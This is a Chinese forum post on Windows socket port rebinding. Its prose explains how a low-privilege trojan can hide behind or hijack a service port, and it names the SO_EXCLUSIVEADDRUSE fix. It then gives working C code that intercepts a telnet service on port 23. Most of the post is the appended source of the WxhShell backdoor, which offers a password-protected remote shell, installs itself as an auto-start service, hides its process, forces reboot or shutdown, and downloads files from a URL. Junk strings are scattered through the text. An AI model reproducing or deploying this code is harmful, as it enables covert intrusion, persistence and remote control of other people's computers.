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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: (KxL*gB  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Z'sO9Sg8>  
?*8HZ1m#  
  saddr.sin_family = AF_INET; 5Pl~du  
O6pL )6d  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 4?^t=7N  
F DCHB~D  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); B>&eciY  
.8%mi'0ud  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Q35/Sp[;x  
(e;9 ,~u)  
  这意味着什么?意味着可以进行如下的攻击: P>t[35/1  
U)N_/  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Tse Pdkk  
Wd_cNR\  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) #D{//P|;  
t7p`A8&  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ?I`ru:iG  
_('KNA~  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ~:%rg H  
|cBpX+D  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 *AU"FI> V  
NK@G0p~O  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &`'gO 9  
7E9h!<5v  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 .1F^=C.w  
H19CVc\B  
  #include k98}Jx7J)"  
  #include x@]pUA1  
  #include 6A& f  
  #include    Y Hv85y  
  DWORD WINAPI ClientThread(LPVOID lpParam);   q(yw,]h]{  
  int main() X;ZR"YgT  
  { I!;#Nk>  
  WORD wVersionRequested; ^vJPeoW  
  DWORD ret; [T.BK:  
  WSADATA wsaData; $v6dB {%Qu  
  BOOL val; ,SAS\!hsE  
  SOCKADDR_IN saddr; 7^~pOFdH  
  SOCKADDR_IN scaddr; -vfV;+3  
  int err; 4JHFn [%  
  SOCKET s; oIM]  
  SOCKET sc; f9FsZD  
  int caddsize; 2Ax HhD.  
  HANDLE mt; Tdr^~dcQ  
  DWORD tid;   Ir*,fyl  
  wVersionRequested = MAKEWORD( 2, 2 ); kE".v|@  
  err = WSAStartup( wVersionRequested, &wsaData ); I/s?] v  
  if ( err != 0 ) { 1& k_&o  
  printf("error!WSAStartup failed!\n"); 3a4 ]{  
  return -1; khb Gyg%  
  } %L./U$  
  saddr.sin_family = AF_INET; ]AGJPuX  
   N+?kFob  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 <oS k!6*  
1b'1vp  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); qu[x=LZ_  
  saddr.sin_port = htons(23); ,diV;d  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) U jC$Mi`O  
  { BV&}(9z  
  printf("error!socket failed!\n"); <)]B$~(a  
  return -1; !o 7uZC\  
  } .JpYZ |  
  val = TRUE; $s hlNW\  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 J|Lk::Ri  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) L$`!~z 1  
  { dxkXt  k  
  printf("error!setsockopt failed!\n"); @Ey(0BxNu  
  return -1; MWCP/~>a2  
  } X./4at`  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; >:s.` jV<  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 VYhZ0;' '  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ,h1r6&MEY  
h.QKbbDj  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) zk4yh%Cd_  
  { HFx8v!^5N  
  ret=GetLastError(); '8>#`Yba  
  printf("error!bind failed!\n"); UG+wRX :dA  
  return -1; mV;Egm{A\  
  } d `Q$URn|  
  listen(s,2); Lvc*L6  
  while(1) 0=s+bo1  
  { z1LATy  
  caddsize = sizeof(scaddr); cJm!3X  
  //接受连接请求 XTyn[n  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 8*)zoT*A  
  if(sc!=INVALID_SOCKET) (G"b)"Qum  
  { 2&]UFg:8Q  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); EG0NikT?  
  if(mt==NULL) / GJ"##<  
  { Us YH#?|O  
  printf("Thread Creat Failed!\n"); 5RTAM  
  break; %.b)%=  
  } ;=Bf&hY&  
  } -Tk~c1I#`  
  CloseHandle(mt); ;2}0Hr'|  
  } 6[c LbT0  
  closesocket(s); v^[Ny0cM  
  WSACleanup(); ,KIa+&vJW@  
  return 0; `2NL'O:  
  }   8\y%J!b  
  DWORD WINAPI ClientThread(LPVOID lpParam) FQ?H%UcW  
  { xN}P0  
  SOCKET ss = (SOCKET)lpParam; 0pu])[P]_[  
  SOCKET sc; d?&?$qf[  
  unsigned char buf[4096]; q!<`ci,uS  
  SOCKADDR_IN saddr; ^?toTU   
  long num; _q=$L eO5  
  DWORD val; A A<9 XC  
  DWORD ret; ,I@4)RSAH|  
  //如果是隐藏端口应用的话,可以在此处加一些判断 .$4DK*  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ,+*8 @>c  
  saddr.sin_family = AF_INET; )u ]<8  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ,q/K&'0`  
  saddr.sin_port = htons(23); G+'MTC_  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "~7| !9<  
  { *=S\jek  
  printf("error!socket failed!\n"); 4^alAq^  
  return -1; K~@-*8%  
  } X&M4 c5Li  
  val = 100; =YZp,{T  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) '4FS.0*_  
  { =}r&>|rrJ  
  ret = GetLastError(); QKZm<lUL  
  return -1; [gzw<b:`  
  } N(}7M~m>  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &N*S   
  { N!"GwH  
  ret = GetLastError(); KL.{)bi  
  return -1; 0tn5>Dsk  
  } +tkd($//  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) m3 (fr  
  { M5exo   
  printf("error!socket connect failed!\n"); 2v`VtV|B  
  closesocket(sc); *xU^e`P  
  closesocket(ss);  mbd  
  return -1; v2EM| Q xp  
  } w>H!H6Q  
  while(1) \ fU{$  
  { lbT<HWzNH  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 %MbjKw  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ,$vc*}yI0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 4VaUa8 D  
  num = recv(ss,buf,4096,0); x;Dr40wD@y  
  if(num>0) k%:]PQjYT  
  send(sc,buf,num,0); Tr/wG  
  else if(num==0) Q-O:L  
  break; +VDl"Hx  
  num = recv(sc,buf,4096,0); 9qwVBu ;  
  if(num>0) `z5j  
  send(ss,buf,num,0); >V87#E  
  else if(num==0) in#qV  
  break; N.xmHvPk  
  } :XBeGNI*#  
  closesocket(ss); l%fnGe` _  
  closesocket(sc); 8,dCx}X  
  return 0 ; 0NpxqeIDY  
  } 1.yw\ZC\  
_h@7>+vl~  
!&SUoa  
========================================================== <B$Lu4b@c  
2d<ma*2n(  
下边附上一个代码,,WXhSHELL _*bXVJ ]  
0>Ki([3  
========================================================== t}nZrD  
IH[/fd0  
#include "stdafx.h" f:"es: Fb  
mN3%;$ND7  
#include <stdio.h> A>7'W\R  
#include <string.h> pK *-In  
#include <windows.h> \RMYaI^+;  
#include <winsock2.h> u33+ikYv  
#include <winsvc.h> X-oou'4<  
#include <urlmon.h> 3{d1Jk/S  
RXl52#:  
#pragma comment (lib, "Ws2_32.lib") fRaVY`|wK  
#pragma comment (lib, "urlmon.lib") b%,5B  
@%ChPjN  
#define MAX_USER   100 // 最大客户端连接数 r1ctW#\~8  
#define BUF_SOCK   200 // sock buffer U G^6I5  
#define KEY_BUFF   255 // 输入 buffer a/_sL(F{  
] =>vv;L  
#define REBOOT     0   // 重启 ;?zb (2  
#define SHUTDOWN   1   // 关机 ((EN&X,v  
C"IPCJYn  
#define DEF_PORT   5000 // 监听端口 0~Yg={IKhK  
|`qur5h`  
#define REG_LEN     16   // 注册表键长度 ?PyI#G   
#define SVC_LEN     80   // NT服务名长度 !p&M,6  
GsqrKrbJ  
// 从dll定义API k[Uc _=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /d'^ XYOC  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,W*<e-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); z6'zNM7M  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); f} } Bb8  
H -.3r  
// wxhshell配置信息 8"8sI  
struct WSCFG { Xb$)}n\9  
  int ws_port;         // 监听端口 _a15R/S  
  char ws_passstr[REG_LEN]; // 口令 _k5KJKvr  
  int ws_autoins;       // 安装标记, 1=yes 0=no vx!nC}f"k`  
  char ws_regname[REG_LEN]; // 注册表键名 oPzt1Y  
  char ws_svcname[REG_LEN]; // 服务名 qx0J}6+NlU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "~d)$]+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "-ZuH   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 l4;/[Q>Z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2$[u&__E  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {hg,F?p '  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 CmJ*oXyi  
CzNSJVE5  
}; PcUi+[s;x  
Fo?2nQ<  
// default Wxhshell configuration P>4(+s  
struct WSCFG wscfg={DEF_PORT, /:yKa=$  
    "xuhuanlingzhe", w:M faN*  
    1, <ezvz..g  
    "Wxhshell", C@]Z&H;  
    "Wxhshell", 1|z>} xP  
            "WxhShell Service", ut-UTW  
    "Wrsky Windows CmdShell Service", J"6_H =s   
    "Please Input Your Password: ", =x/]2+ s  
  1, Q*mPU=<  
  "http://www.wrsky.com/wxhshell.exe", [R A=M  
  "Wxhshell.exe" !i)?j@D  
    }; 3.R?=npA  
NwT3e&u%|  
// 消息定义模块 @*%5"~F  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @zd)]O]xH?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *e_ /D$SC  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <]CO}r   
char *msg_ws_ext="\n\rExit."; tQ?? nI2  
char *msg_ws_end="\n\rQuit."; H1hj` '\"<  
char *msg_ws_boot="\n\rReboot..."; ym(r;mj!  
char *msg_ws_poff="\n\rShutdown..."; o5Pq>Y2T  
char *msg_ws_down="\n\rSave to "; 8 A%)m  
zpg*hlv  
char *msg_ws_err="\n\rErr!"; 9-bDgzk   
char *msg_ws_ok="\n\rOK!"; #<v3G)|aS  
*]x]U >EF  
char ExeFile[MAX_PATH]; Ae`K 9  
int nUser = 0; $qIMYX  
HANDLE handles[MAX_USER]; evimnV  
int OsIsNt; mKxQ U0`  
!y4o^Su[  
SERVICE_STATUS       serviceStatus; -fG;`N5U  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; U&`M G1uHe  
lg1?g)lv  
// 函数声明 F5+f?B~?R?  
int Install(void); n6L}#aZG  
int Uninstall(void); SwSBQq%h]M  
int DownloadFile(char *sURL, SOCKET wsh); h7*fjw-Xz[  
int Boot(int flag); g%9I+(?t  
void HideProc(void); \n:'>:0X!  
int GetOsVer(void); (MNbABZQ  
int Wxhshell(SOCKET wsl); 5^0W\  
void TalkWithClient(void *cs); 9O@ eJ$  
int CmdShell(SOCKET sock); O]^E%;(]}i  
int StartFromService(void); (hd2&mSy  
int StartWxhshell(LPSTR lpCmdLine); QabF(}61  
K-p1v!IC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); bS* "C,b~s  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); K[T? --H  
zbi[r  
// 数据结构和表定义 Du[$6  
SERVICE_TABLE_ENTRY DispatchTable[] = j>?c]h{-  
{ .D)'ZY  
{wscfg.ws_svcname, NTServiceMain}, X<Vko^vlj  
{NULL, NULL} Qy@chN{eP  
}; AX]lMe  
wm8(Ju  
// 自我安装 ~p8-#A)X,)  
int Install(void) L6 hTz'  
{ _E&*JX  
  char svExeFile[MAX_PATH]; a7OD%yQ  
  HKEY key; 3}LTEsdM  
  strcpy(svExeFile,ExeFile); #Q$9Eq8"[  
&#;UKk~)Of  
// 如果是win9x系统,修改注册表设为自启动 #.Ft PR  
if(!OsIsNt) { *PZNZ{|m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MH!'g7iK8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QXgh[9w G  
  RegCloseKey(key); mm:\a-8j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2hmV 1gj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); obaJT"1  
  RegCloseKey(key); Ay2Vz>{  
  return 0; Tfs7SC8ta  
    } pS*vwYA  
  } HPr5mWs:  
} A*MlK"  
else { H.wp{m{  
dO rgqz`e  
// 如果是NT以上系统,安装为系统服务 [^~Fu9+"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Ou8@7S  
if (schSCManager!=0) 0I~xD9l9  
{ x:@HtTX  
  SC_HANDLE schService = CreateService yv4hH4Io  
  ( ldi'@^  
  schSCManager, y=5s~7]  
  wscfg.ws_svcname, x1Z?x,-D"  
  wscfg.ws_svcdisp, wdl6dLu  
  SERVICE_ALL_ACCESS, 7 P=1+2V  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2-]gHAw%  
  SERVICE_AUTO_START, 8cR4@Hqx  
  SERVICE_ERROR_NORMAL, 0=L:8&m  
  svExeFile, l"b78n  
  NULL, IqcPml{\  
  NULL, CKNH/[ ZR,  
  NULL, l)=Rj`M  
  NULL, C!RxMccTh  
  NULL GwW!Q|tVz=  
  ); im4V6 f;%  
  if (schService!=0) YX!%R]c%  
  { Aw9^}k}UfD  
  CloseServiceHandle(schService); jyLpe2 S  
  CloseServiceHandle(schSCManager); 4vp,izNW  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _@jl9<t=_  
  strcat(svExeFile,wscfg.ws_svcname); WR gAc%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,MuLu,$/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &{/ `Q ,  
  RegCloseKey(key); J3y5R1?EP  
  return 0; d!e$BiC  
    } Gzc{2"p  
  } osPX%k!yw  
  CloseServiceHandle(schSCManager); Xk(c2s&  
}  V:F)m!   
} IWuR=I$t  
VU}UK$JN  
return 1; +Rxf~m(pV  
} m:II<tv  
5JIa?i>B  
// 自我卸载 pbR84g^p.S  
int Uninstall(void) $PHKI B(  
{ Y@_ i32,r  
  HKEY key;  4\dc  
K (Z d-U  
if(!OsIsNt) { 8O("o7~"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HQ ^> ~  
  RegDeleteValue(key,wscfg.ws_regname); }4 P@`>e/`  
  RegCloseKey(key); IEjKI"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n=L;(jp<j  
  RegDeleteValue(key,wscfg.ws_regname); +cQ4u4  
  RegCloseKey(key); u5$\E]+ _  
  return 0; >77 /e@  
  } u23^* -  
} 6>SP5|GG  
} lmQ!q>N  
else {   VG q'  
y<8)mw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R%8nR6iG"  
if (schSCManager!=0) 9I+;waLlB  
{ - :*PXu  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); r >u0Y  
  if (schService!=0) P_,f  
  { ) ?+-Z2BwA  
  if(DeleteService(schService)!=0) { OT{qb!eYI  
  CloseServiceHandle(schService); #@ 3RYx  
  CloseServiceHandle(schSCManager); b4S7 Q"g  
  return 0; ) m%ghpX  
  } J$j&j`  
  CloseServiceHandle(schService); !gW$A-XD  
  } pj?+cy v~  
  CloseServiceHandle(schSCManager); 3yZtyXRPn  
} (ZT*EFhb(  
} ol:,02E&  
P\*-n"  
return 1; ?dC[VYC\^  
} o T5?*3f  
aq0J }4U  
// 从指定url下载文件 )}]<o |'  
int DownloadFile(char *sURL, SOCKET wsh) %n=!H  
{ U$ _?T-x  
  HRESULT hr; {~[H"h537t  
char seps[]= "/"; KFCuv15w,3  
char *token;  ORp6  
char *file; ZgZ}^x  
char myURL[MAX_PATH]; ]cLpLA"  
char myFILE[MAX_PATH]; K:465r:  
m/cbRuPWgP  
strcpy(myURL,sURL); UI_|VU>J  
  token=strtok(myURL,seps); %pt ul_(s'  
  while(token!=NULL) ubj ~ULA  
  { Czid"Ih-  
    file=token; T5Sa9\`>  
  token=strtok(NULL,seps); [/6$P[  
  } eP(%+[g  
f(|qE(  
GetCurrentDirectory(MAX_PATH,myFILE); 0{gvd"q  
strcat(myFILE, "\\"); v>~ottQ|  
strcat(myFILE, file); lk2F]@_kJH  
  send(wsh,myFILE,strlen(myFILE),0); vXq=f:y4  
send(wsh,"...",3,0); PF1!aAvVb  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Kg~<h B6  
  if(hr==S_OK) rcF;Lp :  
return 0; 3k5Mty  
else bxqXFy/I  
return 1; F2AM/m^!q  
{ylc 2 1  
} J,4]d u$  
|.*),t3 (w  
// 系统电源模块 gmj a2F,  
int Boot(int flag) c zL[W2l   
{ 42Tjbten_u  
  HANDLE hToken; zi:GvTG  
  TOKEN_PRIVILEGES tkp; \G#Qe*"'K  
nyw,Fu  
  if(OsIsNt) { Zo-E0[9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^.nvX{H8~=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T9*\I TA  
    tkp.PrivilegeCount = 1; iL/(WAB_od  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9hmCvQgtf  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  ^G~W}z?-  
if(flag==REBOOT) { xX{uDMYa;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]6pxd \Q  
  return 0; =yz#L@\!  
} !jU<(eY  
else { {QM;%f  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )>\J~{  
  return 0; &Sa<&2W4S  
} A0V"5syY  
  } wkdd&Nw;  
  else { F$ZWQ9&5U0  
if(flag==REBOOT) { PxfeU2^{0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) SL hki)|  
  return 0; y$r9Y!?s  
} U^+9l?ol  
else { l#\z3"b  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !6@xX08z  
  return 0; h$f/NSct2  
} rPaD#GA[7  
} #E{aN?_  
6mep|![6  
return 1; bhOyx  
} oeDsJ6;  
r{YyKSL1*K  
// win9x进程隐藏模块 L`R,4mI.W  
void HideProc(void) CbQ@l@d]  
{ b v\V>s  
>QE^KtZ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 95T%n{rz  
  if ( hKernel != NULL ) pnxjuDN7}x  
  { U`W^w%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p0qQ(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L}XERO TR  
    FreeLibrary(hKernel); "<v_fF<Y  
  } $a15 8  
6x]|IWvW  
return; ?uU0NKZA  
} \S=!la_T@m  
Pl}}!<!<z  
// 获取操作系统版本 mIFS/C  
int GetOsVer(void) 7v?tSob:b  
{ S82NU2L  
  OSVERSIONINFO winfo; hX`WVVoF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); MeQ(,irr^  
  GetVersionEx(&winfo); ,RCjfX a  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \$?[>=<wB  
  return 1; }sPY+ZjV  
  else :`:<JA3,  
  return 0; R>/M>*C  
} g"(N_sv?  
7/PHg)&  
// 客户端句柄模块 a}i{b2B  
int Wxhshell(SOCKET wsl) '8*gJ7]  
{ $#]?\psf  
  SOCKET wsh; Qc[[@=S%  
  struct sockaddr_in client; Yo| H`m,  
  DWORD myID; mH;Z_ME"  
iBp 71x65  
  while(nUser<MAX_USER) P^rSpS9  
{ E0xUEAO  
  int nSize=sizeof(client); $rFv(Qc^=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9'8OGCN  
  if(wsh==INVALID_SOCKET) return 1; 0a8nBo7A-X  
u+I-!3J87  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {@Diig  
if(handles[nUser]==0) :]y;t/   
  closesocket(wsh); Se0/ysVB  
else _N/]&|.. !  
  nUser++; d2.n^Q"?3  
  } "{z9 L+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `3pe\s  
j@GMZz<  
  return 0; m9#u. Q*  
} g+ 2SB5 2D  
RVI],O  
// 关闭 socket :&?#~NFH  
void CloseIt(SOCKET wsh) D1o 8Wo  
{ ni2H~{]z  
closesocket(wsh); 82O`<Ci  
nUser--; ~gI%   
ExitThread(0); t$l[ 4 R-  
} Kw!`u^>  
*9PS2*n  
// 客户端请求句柄 <i]%T~\Af)  
void TalkWithClient(void *cs) m+OR W"o  
{ $XyGCn  
}Lb];hww1  
  SOCKET wsh=(SOCKET)cs; x-tA {_:  
  char pwd[SVC_LEN]; v|{*y  
  char cmd[KEY_BUFF]; {dMa&r|lp  
char chr[1]; f\r$T Nd6  
int i,j; HoRLy*nU  
/jj!DO#  
  while (nUser < MAX_USER) { _x UhDu%  
]"/ *7NM  
if(wscfg.ws_passstr) { ,l0s(Cg  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GExG1n-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5Qy,P kje  
  //ZeroMemory(pwd,KEY_BUFF); (a^F`#]  
      i=0; 6bHj<6>MX  
  while(i<SVC_LEN) { .*Hv^_  
A]H+rxg  
  // 设置超时 D|=QsWZI  
  fd_set FdRead; 'O{hr0q}  
  struct timeval TimeOut; Jc:G7}j6  
  FD_ZERO(&FdRead); PU -~7h+$  
  FD_SET(wsh,&FdRead); /)oxuk&}c  
  TimeOut.tv_sec=8; DU 8)c$  
  TimeOut.tv_usec=0; K9w24Oka  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )s6tj lf8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;P2~cQjD;  
f_Wn[I{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !^8'LMY<I  
  pwd=chr[0]; #e8CuS  
  if(chr[0]==0xd || chr[0]==0xa) {  K[?wP>s  
  pwd=0; FfD2 &(-R  
  break; Llk`  
  } HnY: gu  
  i++; 3_33@MM  
    } X,y$!2QI  
c#Y9L+O  
  // 如果是非法用户,关闭 socket u{H_q&1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Pyyx/u+?@  
} &Q&$J )0  
)9<)mV*EB(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "UA W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X0!48fL*  
6?,r d   
while(1) { ~)ByARao=  
rzl2Oj"4  
  ZeroMemory(cmd,KEY_BUFF); OmoY] 8N}  
Q'A->I<;_s  
      // 自动支持客户端 telnet标准   (1Kh9w:^"  
  j=0; M2oKLRt)L  
  while(j<KEY_BUFF) { c!841~p(Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /,:32H  
  cmd[j]=chr[0]; ?^"S%Vb  
  if(chr[0]==0xa || chr[0]==0xd) { 7gJy xQ  
  cmd[j]=0; 0;XnNz3&  
  break; /1OhW>W3eH  
  } 7XwFO0==  
  j++; UyF]gO  
    } ]\_4r)cN<n  
.0a$E`V=D  
  // 下载文件 #a .aD+d'  
  if(strstr(cmd,"http://")) { #vDe/o+=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Q7Dkh KT  
  if(DownloadFile(cmd,wsh)) fqF1 - %  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'E7|L@X"r  
  else |20p#]0E+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LXK+WB/s  
  } 9k *'5(D4S  
  else { PMTyiwlm  
UhEnW8^bz1  
    switch(cmd[0]) { E4{^[=}  
  W0nRUAo[  
  // 帮助 BRW   
  case '?': { QTLOP~^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ] xH `  
    break; L^0jyp  
  } ?EpY4k8,  
  // 安装 JgxOxZS`@  
  case 'i': { IG bQ L  
    if(Install()) J7l1-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZM)a4h,kcm  
    else TI*uNS;-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y)a 7osML  
    break; @|cas|U.r  
    } r-!8in2  
  // 卸载 e8gD(T  
  case 'r': { f|< *2Mk  
    if(Uninstall()) -bs~{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h\20  
    else M&>Z[o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |~Z+Xl a  
    break; (^6SF>'  
    } E8V,".!+E  
  // 显示 wxhshell 所在路径 Y]Xal   
  case 'p': { )9PQ j  
    char svExeFile[MAX_PATH]; VvPTL8Z  
    strcpy(svExeFile,"\n\r"); \.*aC)  
      strcat(svExeFile,ExeFile); r?Z8_5Y  
        send(wsh,svExeFile,strlen(svExeFile),0); &]ImO RN  
    break; IRcZyry  
    } :Tjo+vw7$H  
  // 重启 &1VC0"YJWy  
  case 'b': { >Vg<J~[g  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^WVr@6  
    if(Boot(REBOOT)) |#MA?oz3T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JM!o(zbt  
    else { EmH2 Dbw  
    closesocket(wsh); yCm iW %L4  
    ExitThread(0); X#p E!mT  
    } OP>'<FK   
    break; tt`b+NOH>  
    } m"xw5aa>  
  // 关机 Z$+0gm\Cnw  
